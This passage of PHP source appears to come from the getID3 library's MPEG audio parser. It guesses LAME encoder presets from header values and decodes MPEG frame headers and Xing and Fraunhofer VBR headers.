								$info['mpeg']['audio']['LAME']['short_version'] = $matches[0];
							}
						}
						$info['audio']['encoder'] = $PossiblyLongerLAMEversion_NewString;
					}
				}
			}
		}
		if (!empty($info['audio']['encoder'])) {
			$info['audio']['encoder'] = rtrim($info['audio']['encoder'], "\x00 ");
		}

		switch (isset($info['mpeg']['audio']['layer']) ? $info['mpeg']['audio']['layer'] : '') {
			case 1:
			case 2:
				$info['audio']['dataformat'] = 'mp'.$info['mpeg']['audio']['layer'];
				break;
		}
		if (isset($info['fileformat']) && ($info['fileformat'] == 'mp3')) {
			switch ($info['audio']['dataformat']) {
				case 'mp1':
				case 'mp2':
				case 'mp3':
					$info['fileformat'] = $info['audio']['dataformat'];
					break;

				default:
					$this->warning('Expecting [audio][dataformat] to be mp1/mp2/mp3 when fileformat == mp3, [audio][dataformat] actually "'.$info['audio']['dataformat'].'"');
					break;
			}
		}

		if (empty($info['fileformat'])) {
			unset($info['fileformat']);
			unset($info['audio']['bitrate_mode']);
			unset($info['avdataoffset']);
			unset($info['avdataend']);
			return false;
		}

		$info['mime_type']         = 'audio/mpeg';
		$info['audio']['lossless'] = false;

		// Calculate playtime
		if (!isset($info['playtime_seconds']) && isset($info['audio']['bitrate']) && ($info['audio']['bitrate'] > 0)) {
			// https://github.com/JamesHeinrich/getID3/issues/161
			// VBR header frame contains ~0.026s of silent audio data, but is not actually part of the original encoding and should be ignored
			$xingVBRheaderFrameLength = ((isset($info['mpeg']['audio']['VBR_frames']) && isset($info['mpeg']['audio']['framelength'])) ? $info['mpeg']['audio']['framelength'] : 0);

			$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset'] - $xingVBRheaderFrameLength) * 8 / $info['audio']['bitrate'];
		}

		$info['audio']['encoder_options'] = $this->GuessEncoderOptions();

		return true;
	}

	/**
	 * @return string
	 */
	public function GuessEncoderOptions() {
		// shortcuts
		$info = &$this->getid3->info;
		$thisfile_mpeg_audio = array();
		$thisfile_mpeg_audio_lame = array();
		if (!empty($info['mpeg']['audio'])) {
			$thisfile_mpeg_audio = &$info['mpeg']['audio'];
			if (!empty($thisfile_mpeg_audio['LAME'])) {
				$thisfile_mpeg_audio_lame = &$thisfile_mpeg_audio['LAME'];
			}
		}

		$encoder_options = '';
		static $NamedPresetBitrates = array(16, 24, 40, 56, 112, 128, 160, 192, 256);

		if (isset($thisfile_mpeg_audio['VBR_method']) && ($thisfile_mpeg_audio['VBR_method'] == 'Fraunhofer') && !empty($thisfile_mpeg_audio['VBR_quality'])) {

			$encoder_options = 'VBR q'.$thisfile_mpeg_audio['VBR_quality'];

		} elseif (!empty($thisfile_mpeg_audio_lame['preset_used']) && isset($thisfile_mpeg_audio_lame['preset_used_id']) && (!in_array($thisfile_mpeg_audio_lame['preset_used_id'], $NamedPresetBitrates))) {

			$encoder_options = $thisfile_mpeg_audio_lame['preset_used'];

		} elseif (!empty($thisfile_mpeg_audio_lame['vbr_quality'])) {

			static $KnownEncoderValues = array();
			if (empty($KnownEncoderValues)) {

				//$KnownEncoderValues[abrbitrate_minbitrate][vbr_quality][raw_vbr_method][raw_noise_shaping][raw_stereo_mode][ath_type][lowpass_frequency] = 'preset name';
				$KnownEncoderValues[0xFF][58][1][1][3][2][20500] = '--alt-preset insane';        // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0xFF][58][1][1][3][2][20600] = '--alt-preset insane';        // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues[0xFF][57][1][1][3][4][20500] = '--alt-preset insane';        // 3.94,   3.95
				$KnownEncoderValues['**'][78][3][2][3][2][19500] = '--alt-preset extreme';       // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][3][2][3][2][19600] = '--alt-preset extreme';       // 3.90.2, 3.91
				$KnownEncoderValues['**'][78][3][1][3][2][19600] = '--alt-preset extreme';       // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][2][19500] = '--alt-preset fast extreme';  // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][78][4][2][3][2][19600] = '--alt-preset fast extreme';  // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][78][3][2][3][4][19000] = '--alt-preset standard';      // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][3][1][3][4][19000] = '--alt-preset standard';      // 3.90.3
				$KnownEncoderValues['**'][78][4][2][3][4][19000] = '--alt-preset fast standard'; // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues['**'][78][4][1][3][4][19000] = '--alt-preset fast standard'; // 3.90.3
				$KnownEncoderValues['**'][88][4][1][3][3][19500] = '--r3mix';                    // 3.90,   3.90.1, 3.92
				$KnownEncoderValues['**'][88][4][1][3][3][19600] = '--r3mix';                    // 3.90.2, 3.90.3, 3.91
				$KnownEncoderValues['**'][67][4][1][3][4][18000] = '--r3mix';                    // 3.94,   3.95
				$KnownEncoderValues['**'][68][3][2][3][4][18000] = '--alt-preset medium';        // 3.90.3
				$KnownEncoderValues['**'][68][4][2][3][4][18000] = '--alt-preset fast medium';   // 3.90.3

				$KnownEncoderValues[0xFF][99][1][1][1][2][0]     = '--preset studio';            // 3.90,   3.90.1, 3.90.2, 3.91, 3.92
				$KnownEncoderValues[0xFF][58][2][1][3][2][20600] = '--preset studio';            // 3.90.3, 3.93.1
				$KnownEncoderValues[0xFF][58][2][1][3][2][20500] = '--preset studio';            // 3.93
				$KnownEncoderValues[0xFF][57][2][1][3][4][20500] = '--preset studio';            // 3.94,   3.95
				$KnownEncoderValues[0xC0][88][1][1][1][2][0]     = '--preset cd';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xC0][58][2][2][3][2][19600] = '--preset cd';                // 3.90.3, 3.93.1
				$KnownEncoderValues[0xC0][58][2][2][3][2][19500] = '--preset cd';                // 3.93
				$KnownEncoderValues[0xC0][57][2][1][3][4][19500] = '--preset cd';                // 3.94,   3.95
				$KnownEncoderValues[0xA0][78][1][1][3][2][18000] = '--preset hifi';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0xA0][58][2][2][3][2][18000] = '--preset hifi';              // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0xA0][57][2][1][3][4][18000] = '--preset hifi';              // 3.94,   3.95
				$KnownEncoderValues[0x80][67][1][1][3][2][18000] = '--preset tape';              // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x80][67][1][1][3][2][15000] = '--preset radio';             // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][67][1][1][3][2][15000] = '--preset fm';                // 3.90,   3.90.1, 3.90.2,   3.91, 3.92
				$KnownEncoderValues[0x70][58][2][2][3][2][16000] = '--preset tape/radio/fm';     // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x70][57][2][1][3][4][16000] = '--preset tape/radio/fm';     // 3.94,   3.95
				$KnownEncoderValues[0x38][58][2][2][0][2][10000] = '--preset voice';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x38][57][2][1][0][4][15000] = '--preset voice';             // 3.94,   3.95
				$KnownEncoderValues[0x38][57][2][1][0][4][16000] = '--preset voice';             // 3.94a14
				$KnownEncoderValues[0x28][65][1][1][0][2][7500]  = '--preset mw-us';             // 3.90,   3.90.1, 3.92
				$KnownEncoderValues[0x28][65][1][1][0][2][7600]  = '--preset mw-us';             // 3.90.2, 3.91
				$KnownEncoderValues[0x28][58][2][2][0][2][7000]  = '--preset mw-us';             // 3.90.3, 3.93,   3.93.1
				$KnownEncoderValues[0x28][57][2][1][0][4][10500] = '--preset mw-us';             // 3.94,   3.95
				$KnownEncoderValues[0x28][57][2][1][0][4][11200] = '--preset mw-us';             // 3.94a14
				$KnownEncoderValues[0x28][57][2][1][0][4][8800]  = '--preset mw-us';             // 3.94a15
				$KnownEncoderValues[0x18][58][2][2][0][2][4000]  = '--preset phon+/lw/mw-eu/sw'; // 3.90.3, 3.93.1
				$KnownEncoderValues[0x18][58][2][2][0][2][3900]  = '--preset phon+/lw/mw-eu/sw'; // 3.93
				$KnownEncoderValues[0x18][57][2][1][0][4][5900]  = '--preset phon+/lw/mw-eu/sw'; // 3.94,   3.95
				$KnownEncoderValues[0x18][57][2][1][0][4][6200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a14
				$KnownEncoderValues[0x18][57][2][1][0][4][3200]  = '--preset phon+/lw/mw-eu/sw'; // 3.94a15
				$KnownEncoderValues[0x10][58][2][2][0][2][3800]  = '--preset phone';             // 3.90.3, 3.93.1
				$KnownEncoderValues[0x10][58][2][2][0][2][3700]  = '--preset phone';             // 3.93
				$KnownEncoderValues[0x10][57][2][1][0][4][5600]  = '--preset phone';             // 3.94,   3.95
			}

			if (isset($KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues[$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate']][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif (isset($KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']])) {

				$encoder_options = $KnownEncoderValues['**'][$thisfile_mpeg_audio_lame['vbr_quality']][$thisfile_mpeg_audio_lame['raw']['vbr_method']][$thisfile_mpeg_audio_lame['raw']['noise_shaping']][$thisfile_mpeg_audio_lame['raw']['stereo_mode']][$thisfile_mpeg_audio_lame['ath_type']][$thisfile_mpeg_audio_lame['lowpass_frequency']];

			} elseif ($info['audio']['bitrate_mode'] == 'vbr') {

				// http://gabriel.mp3-tech.org/mp3infotag.html
				// int    Quality = (100 - 10 * gfp->VBR_q - gfp->quality)h


				$LAME_V_value = 10 - ceil($thisfile_mpeg_audio_lame['vbr_quality'] / 10);
				$LAME_q_value = 100 - $thisfile_mpeg_audio_lame['vbr_quality'] - ($LAME_V_value * 10);
				$encoder_options = '-V'.$LAME_V_value.' -q'.$LAME_q_value;

			} elseif ($info['audio']['bitrate_mode'] == 'cbr') {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);

			} else {

				$encoder_options = strtoupper($info['audio']['bitrate_mode']);

			}

		} elseif (!empty($thisfile_mpeg_audio_lame['bitrate_abr'])) {

			$encoder_options = 'ABR'.$thisfile_mpeg_audio_lame['bitrate_abr'];

		} elseif (!empty($info['audio']['bitrate'])) {

			if ($info['audio']['bitrate_mode'] == 'cbr') {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']).round($info['audio']['bitrate'] / 1000);
			} else {
				$encoder_options = strtoupper($info['audio']['bitrate_mode']);
			}

		}
		if (!empty($thisfile_mpeg_audio_lame['bitrate_min'])) {
			$encoder_options .= ' -b'.$thisfile_mpeg_audio_lame['bitrate_min'];
		}

		if (isset($thisfile_mpeg_audio['bitrate']) && $thisfile_mpeg_audio['bitrate'] === 'free') {
			$encoder_options .= ' --freeformat';
		}

		if (!empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']) || !empty($thisfile_mpeg_audio_lame['encoding_flags']['nogap_next'])) {
			$encoder_options .= ' --nogap';
		}

		if (!empty($thisfile_mpeg_audio_lame['lowpass_frequency'])) {
			$ExplodedOptions = explode(' ', $encoder_options, 4);
			if ($ExplodedOptions[0] == '--r3mix') {
				$ExplodedOptions[1] = 'r3mix';
			}
			switch ($ExplodedOptions[0]) {
				case '--preset':
				case '--alt-preset':
				case '--r3mix':
					if ($ExplodedOptions[1] == 'fast') {
						$ExplodedOptions[1] .= ' '.$ExplodedOptions[2];
					}
					switch ($ExplodedOptions[1]) {
						case 'portable':
						case 'medium':
						case 'standard':
						case 'extreme':
						case 'insane':
						case 'fast portable':
						case 'fast medium':
						case 'fast standard':
						case 'fast extreme':
						case 'fast insane':
						case 'r3mix':
							static $ExpectedLowpass = array(
									'insane|20500'        => 20500,
									'insane|20600'        => 20600,  // 3.90.2, 3.90.3, 3.91
									'medium|18000'        => 18000,
									'fast medium|18000'   => 18000,
									'extreme|19500'       => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'extreme|19600'       => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'fast extreme|19500'  => 19500,  // 3.90,   3.90.1, 3.92, 3.95
									'fast extreme|19600'  => 19600,  // 3.90.2, 3.90.3, 3.91, 3.93.1
									'standard|19000'      => 19000,
									'fast standard|19000' => 19000,
									'r3mix|19500'         => 19500,  // 3.90,   3.90.1, 3.92
									'r3mix|19600'         => 19600,  // 3.90.2, 3.90.3, 3.91
									'r3mix|18000'         => 18000,  // 3.94,   3.95
								);
							if (!isset($ExpectedLowpass[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio_lame['lowpass_frequency']]) && ($thisfile_mpeg_audio_lame['lowpass_frequency'] < 22050) && (round($thisfile_mpeg_audio_lame['lowpass_frequency'] / 1000) < round($thisfile_mpeg_audio['sample_rate'] / 2000))) {
								$encoder_options .= ' --lowpass '.$thisfile_mpeg_audio_lame['lowpass_frequency'];
							}
							break;

						default:
							break;
					}
					break;
			}
		}

		if (isset($thisfile_mpeg_audio_lame['raw']['source_sample_freq'])) {
			if (($thisfile_mpeg_audio['sample_rate'] == 44100) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 1)) {
				$encoder_options .= ' --resample 44100';
			} elseif (($thisfile_mpeg_audio['sample_rate'] == 48000) && ($thisfile_mpeg_audio_lame['raw']['source_sample_freq'] != 2)) {
				$encoder_options .= ' --resample 48000';
			} elseif ($thisfile_mpeg_audio['sample_rate'] < 44100) {
				switch ($thisfile_mpeg_audio_lame['raw']['source_sample_freq']) {
					case 0: // <= 32000
						// may or may not be same as source frequency - ignore
						break;
					case 1: // 44100
					case 2: // 48000
					case 3: // 48000+
						$ExplodedOptions = explode(' ', $encoder_options, 4);
						switch ($ExplodedOptions[0]) {
							case '--preset':
							case '--alt-preset':
								switch ($ExplodedOptions[1]) {
									case 'fast':
									case 'portable':
									case 'medium':
									case 'standard':
									case 'extreme':
									case 'insane':
										$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										break;

									default:
										static $ExpectedResampledRate = array(
												'phon+/lw/mw-eu/sw|16000' => 16000,
												'mw-us|24000'             => 24000, // 3.95
												'mw-us|32000'             => 32000, // 3.93
												'mw-us|16000'             => 16000, // 3.92
												'phone|16000'             => 16000,
												'phone|11025'             => 11025, // 3.94a15
												'radio|32000'             => 32000, // 3.94a15
												'fm/radio|32000'          => 32000, // 3.92
												'fm|32000'                => 32000, // 3.90
												'voice|32000'             => 32000);
										if (!isset($ExpectedResampledRate[$ExplodedOptions[1].'|'.$thisfile_mpeg_audio['sample_rate']])) {
											$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
										}
										break;
								}
								break;

							case '--r3mix':
							default:
								$encoder_options .= ' --resample '.$thisfile_mpeg_audio['sample_rate'];
								break;
						}
						break;
				}
			}
		}
		if (empty($encoder_options) && !empty($info['audio']['bitrate']) && !empty($info['audio']['bitrate_mode'])) {
			//$encoder_options = strtoupper($info['audio']['bitrate_mode']).ceil($info['audio']['bitrate'] / 1000);
			$encoder_options = strtoupper($info['audio']['bitrate_mode']);
		}

		return $encoder_options;
	}

	/**
	 * @param int   $offset
	 * @param array $info
	 * @param bool  $recursivesearch
	 * @param bool  $ScanAsCBR
	 * @param bool  $FastMPEGheaderScan
	 *
	 * @return bool
	 */
	public function decodeMPEGaudioHeader($offset, &$info, $recursivesearch=true, $ScanAsCBR=false, $FastMPEGheaderScan=false) {
		static $MPEGaudioVersionLookup;
		static $MPEGaudioLayerLookup;
		static $MPEGaudioBitrateLookup;
		static $MPEGaudioFrequencyLookup;
		static $MPEGaudioChannelModeLookup;
		static $MPEGaudioModeExtensionLookup;
		static $MPEGaudioEmphasisLookup;
		if (empty($MPEGaudioVersionLookup)) {
			$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
			$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
			$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
			$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
			$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
			$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
			$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
		}

		if ($this->fseek($offset) != 0) {
			$this->error('decodeMPEGaudioHeader() failed to seek to next offset at '.$offset);
			return false;
		}
		//$headerstring = $this->fread(1441); // worst-case max length = 32kHz @ 320kbps layer 3 = 1441 bytes/frame
		$headerstring = $this->fread(226); // LAME header at offset 36 + 190 bytes of Xing/LAME data

		// MP3 audio frame structure:
		// $aa $aa $aa $aa [$bb $bb] $cc...
		// where $aa..$aa is the four-byte mpeg-audio header (below)
		// $bb $bb is the optional 2-byte CRC
		// and $cc... is the audio data

		$head4 = substr($headerstring, 0, 4);
		$head4_key = getid3_lib::PrintHexBytes($head4, true, false, false);
		static $MPEGaudioHeaderDecodeCache = array();
		if (isset($MPEGaudioHeaderDecodeCache[$head4_key])) {
			$MPEGheaderRawArray = $MPEGaudioHeaderDecodeCache[$head4_key];
		} else {
			$MPEGheaderRawArray = self::MPEGaudioHeaderDecode($head4);
			$MPEGaudioHeaderDecodeCache[$head4_key] = $MPEGheaderRawArray;
		}

		static $MPEGaudioHeaderValidCache = array();
		if (!isset($MPEGaudioHeaderValidCache[$head4_key])) { // Not in cache
			//$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, true);  // allow badly-formatted freeformat (from LAME 3.90 - 3.93.1)
			$MPEGaudioHeaderValidCache[$head4_key] = self::MPEGaudioHeaderValid($MPEGheaderRawArray, false, false);
		}

		// shortcut
		if (!isset($info['mpeg']['audio'])) {
			$info['mpeg']['audio'] = array();
		}
		$thisfile_mpeg_audio = &$info['mpeg']['audio'];

		if ($MPEGaudioHeaderValidCache[$head4_key]) {
			$thisfile_mpeg_audio['raw'] = $MPEGheaderRawArray;
		} else {
			$this->warning('Invalid MPEG audio header ('.getid3_lib::PrintHexBytes($head4).') at offset '.$offset);
			return false;
		}

		if (!$FastMPEGheaderScan) {
			$thisfile_mpeg_audio['version']       = $MPEGaudioVersionLookup[$thisfile_mpeg_audio['raw']['version']];
			$thisfile_mpeg_audio['layer']         = $MPEGaudioLayerLookup[$thisfile_mpeg_audio['raw']['layer']];

			$thisfile_mpeg_audio['channelmode']   = $MPEGaudioChannelModeLookup[$thisfile_mpeg_audio['raw']['channelmode']];
			$thisfile_mpeg_audio['channels']      = (($thisfile_mpeg_audio['channelmode'] == 'mono') ? 1 : 2);
			$thisfile_mpeg_audio['sample_rate']   = $MPEGaudioFrequencyLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['raw']['sample_rate']];
			$thisfile_mpeg_audio['protection']    = !$thisfile_mpeg_audio['raw']['protection'];
			$thisfile_mpeg_audio['private']       = (bool) $thisfile_mpeg_audio['raw']['private'];
			$thisfile_mpeg_audio['modeextension'] = $MPEGaudioModeExtensionLookup[$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['modeextension']];
			$thisfile_mpeg_audio['copyright']     = (bool) $thisfile_mpeg_audio['raw']['copyright'];
			$thisfile_mpeg_audio['original']      = (bool) $thisfile_mpeg_audio['raw']['original'];
			$thisfile_mpeg_audio['emphasis']      = $MPEGaudioEmphasisLookup[$thisfile_mpeg_audio['raw']['emphasis']];

			$info['audio']['channels']    = $thisfile_mpeg_audio['channels'];
			$info['audio']['sample_rate'] = $thisfile_mpeg_audio['sample_rate'];

			if ($thisfile_mpeg_audio['protection']) {
				$thisfile_mpeg_audio['crc'] = getid3_lib::BigEndian2Int(substr($headerstring, 4, 2));
			}
		}

		if ($thisfile_mpeg_audio['raw']['bitrate'] == 15) {
			// http://www.hydrogenaudio.org/?act=ST&f=16&t=9682&st=0
			$this->warning('Invalid bitrate index (15), this is a known bug in free-format MP3s encoded by LAME v3.90 - 3.93.1');
			$thisfile_mpeg_audio['raw']['bitrate'] = 0;
		}
		$thisfile_mpeg_audio['padding'] = (bool) $thisfile_mpeg_audio['raw']['padding'];
		$thisfile_mpeg_audio['bitrate'] = $MPEGaudioBitrateLookup[$thisfile_mpeg_audio['version']][$thisfile_mpeg_audio['layer']][$thisfile_mpeg_audio['raw']['bitrate']];

		if (($thisfile_mpeg_audio['bitrate'] == 'free') && ($offset == $info['avdataoffset'])) {
			// only skip multiple frame check if free-format bitstream found at beginning of file
			// otherwise is quite possibly simply corrupted data
			$recursivesearch = false;
		}

		// For Layer 2 there are some combinations of bitrate and mode which are not allowed.
		if (!$FastMPEGheaderScan && ($thisfile_mpeg_audio['layer'] == '2')) {

			$info['audio']['dataformat'] = 'mp2';
			switch ($thisfile_mpeg_audio['channelmode']) {

				case 'mono':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] <= 192000)) {
						// these are ok
					} else {
						$this->error($thisfile_mpeg_audio['bitrate'].'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

				case 'stereo':
				case 'joint stereo':
				case 'dual channel':
					if (($thisfile_mpeg_audio['bitrate'] == 'free') || ($thisfile_mpeg_audio['bitrate'] == 64000) || ($thisfile_mpeg_audio['bitrate'] >= 96000)) {
						// these are ok
					} else {
						$this->error(intval(round($thisfile_mpeg_audio['bitrate'] / 1000)).'kbps not allowed in Layer 2, '.$thisfile_mpeg_audio['channelmode'].'.');
						return false;
					}
					break;

			}

		}


		if ($info['audio']['sample_rate'] > 0) {
			$thisfile_mpeg_audio['framelength'] = self::MPEGaudioFrameLength($thisfile_mpeg_audio['bitrate'], $thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['layer'], (int) $thisfile_mpeg_audio['padding'], $info['audio']['sample_rate']);
		}

		$nextframetestoffset = $offset + 1;
		if ($thisfile_mpeg_audio['bitrate'] != 'free') {

			$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];

			if (isset($thisfile_mpeg_audio['framelength'])) {
				$nextframetestoffset = $offset + $thisfile_mpeg_audio['framelength'];
			} else {
				$this->error('Frame at offset('.$offset.') is has an invalid frame length.');
				return false;
			}

		}

		$ExpectedNumberOfAudioBytes = 0;

		////////////////////////////////////////////////////////////////////////////////////
		// Variable-bitrate headers

		if (substr($headerstring, 4 + 32, 4) == 'VBRI') {
			// Fraunhofer VBR header is hardcoded 'VBRI' at offset 0x24 (36)
			// specs taken from http://minnie.tuhs.org/pipermail/mp3encoder/2001-January/001800.html

			$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
			$thisfile_mpeg_audio['VBR_method']   = 'Fraunhofer';
			$info['audio']['codec']              = 'Fraunhofer';

			$SideInfoData = substr($headerstring, 4 + 2, 32);

			$FraunhoferVBROffset = 36;

			$thisfile_mpeg_audio['VBR_encoder_version']     = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  4, 2)); // VbriVersion
			$thisfile_mpeg_audio['VBR_encoder_delay']       = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  6, 2)); // VbriDelay
			$thisfile_mpeg_audio['VBR_quality']             = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset +  8, 2)); // VbriQuality
			$thisfile_mpeg_audio['VBR_bytes']               = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 10, 4)); // VbriStreamBytes
			$thisfile_mpeg_audio['VBR_frames']              = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 14, 4)); // VbriStreamFrames
			$thisfile_mpeg_audio['VBR_seek_offsets']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 18, 2)); // VbriTableSize
			$thisfile_mpeg_audio['VBR_seek_scale']          = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 20, 2)); // VbriTableScale
			$thisfile_mpeg_audio['VBR_entry_bytes']         = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 22, 2)); // VbriEntryBytes
			$thisfile_mpeg_audio['VBR_entry_frames']        = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset + 24, 2)); // VbriEntryFrames

			$ExpectedNumberOfAudioBytes = $thisfile_mpeg_audio['VBR_bytes'];

			$previousbyteoffset = $offset;
			for ($i = 0; $i < $thisfile_mpeg_audio['VBR_seek_offsets']; $i++) {
				$Fraunhofer_OffsetN = getid3_lib::BigEndian2Int(substr($headerstring, $FraunhoferVBROffset, $thisfile_mpeg_audio['VBR_entry_bytes']));
				$FraunhoferVBROffset += $thisfile_mpeg_audio['VBR_entry_bytes'];
				$thisfile_mpeg_audio['VBR_offsets_relative'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']);
				$thisfile_mpeg_audio['VBR_offsets_absolute'][$i] = ($Fraunhofer_OffsetN * $thisfile_mpeg_audio['VBR_seek_scale']) + $previousbyteoffset;
				$previousbyteoffset += $Fraunhofer_OffsetN;
			}


		} else {

			// Xing VBR header is hardcoded 'Xing' at a offset 0x0D (13), 0x15 (21) or 0x24 (36)
			// depending on MPEG layer and number of channels

			$VBRidOffset = self::XingVBRidOffset($thisfile_mpeg_audio['version'], $thisfile_mpeg_audio['channelmode']);
			$SideInfoData = substr($headerstring, 4 + 2, $VBRidOffset - 4);

			if ((substr($headerstring, $VBRidOffset, strlen('Xing')) == 'Xing') || (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Info')) {
				// 'Xing' is traditional Xing VBR frame
				// 'Info' is LAME-encoded CBR (This was done to avoid CBR files to be recognized as traditional Xing VBR files by some decoders.)
				// 'Info' *can* legally be used to specify a VBR file as well, however.

				// http://www.multiweb.cz/twoinches/MP3inside.htm
				//00..03 = "Xing" or "Info"
				//04..07 = Flags:
				//  0x01  Frames Flag     set if value for number of frames in file is stored
				//  0x02  Bytes Flag      set if value for filesize in bytes is stored
				//  0x04  TOC Flag        set if values for TOC are stored
				//  0x08  VBR Scale Flag  set if values for VBR scale is stored
				//08..11  Frames: Number of frames in file (including the first Xing/Info one)
				//12..15  Bytes:  File length in Bytes
				//16..115  TOC (Table of Contents):
				//  Contains of 100 indexes (one Byte length) for easier lookup in file. Approximately solves problem with moving inside file.
				//  Each Byte has a value according this formula:
				//  (TOC[i] / 256) * fileLenInBytes
				//  So if song lasts eg. 240 sec. and you want to jump to 60. sec. (and file is 5 000 000 Bytes length) you can use:
				//  TOC[(60/240)*100] = TOC[25]
				//  and corresponding Byte in file is then approximately at:
				//  (TOC[25]/256) * 5000000
				//116..119  VBR Scale


				// should be safe to leave this at 'vbr' and let it be overriden to 'cbr' if a CBR preset/mode is used by LAME
//				if (substr($headerstring, $VBRidOffset, strlen('Info')) == 'Xing') {
					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
					$thisfile_mpeg_audio['VBR_method']   = 'Xing';
//				} else {
//					$ScanAsCBR = true;
//					$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
//				}

				$thisfile_mpeg_audio['xing_flags_raw'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 4, 4));

				$thisfile_mpeg_audio['xing_flags']['frames']    = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000001);
				$thisfile_mpeg_audio['xing_flags']['bytes']     = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000002);
				$thisfile_mpeg_audio['xing_flags']['toc']       = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000004);
				$thisfile_mpeg_audio['xing_flags']['vbr_scale'] = (bool) ($thisfile_mpeg_audio['xing_flags_raw'] & 0x00000008);

				if ($thisfile_mpeg_audio['xing_flags']['frames']) {
					$thisfile_mpeg_audio['VBR_frames'] = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset +  8, 4));
					//$thisfile_mpeg_audio['VBR_frames']--; // don't count header Xing/Info frame
				}
				if ($thisfile_mpeg_audio['xing_flags']['bytes']) {
					$thisfile_mpeg_audio['VBR_bytes']  = getid3_lib::BigEndian2Int(substr($headerstring, $VBRidOffset + 12, 4));
				}

				//if (($thisfile_mpeg_audio['bitrate'] == 'free') && !empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				//if (!empty($thisfile_mpeg_audio['VBR_frames']) && !empty($thisfile_mpeg_audio['VBR_bytes'])) {
				if (!empty($thisfile_mpeg_audio['VBR_frames'])) {
					$used_filesize  = 0;
					if (!empty($thisfile_mpeg_audio['VBR_bytes'])) {
						$used_filesize = $thisfile_mpeg_audio['VBR_bytes'];
					} elseif (!empty($info['filesize'])) {
						$used_filesize  = $info['filesize'];
